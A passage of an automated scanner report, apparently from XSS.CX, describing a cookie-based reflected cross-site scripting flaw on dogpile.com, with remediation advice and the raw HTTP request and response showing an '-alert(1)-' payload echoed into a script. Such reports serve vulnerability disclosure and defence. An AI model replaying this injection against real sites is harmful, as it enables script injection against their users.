Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /info.dogpl.rss/web/MLB+Schedule HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:55:44 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=91f95e6548a4490186bdc16a3af0cb01&ActionId=62fda6b6aa3440d49bc7c16a3af0cb01&CookieDomain=.dogpile.com2f96a"-alert(1)-"0cf0cd42d43

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=62fda6b6aa3440d49bc7c16a3af0cb01&ActionId=f112a8794f3b4673a292c16a3af0cb01&CookieDomain=.dogpile.com2f96a"-alert(1)-"0cf0cd42d43; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:16:19 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:56:19 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:56:19 GMT; path=/
Set-Cookie: wsTemp=bigIP+3808990474.20480.0000+cacheId+ms21:1301676996439; path=/
Set-Cookie: wsRecent=MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:56:20 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 145894

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=62fda6b6aa3440d49bc7c16a3af0cb01&ActionId=f112a8794f3b4673a292c16a3af0cb01&CookieDomain=.dogpile.com2f96a"-alert(1)-"0cf0cd42d43; expires=Fri, 01 Apr 2011 17:16:19 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

Report generated by XSS.CX at Fri Apr 01 12:28:00 CDT 2011.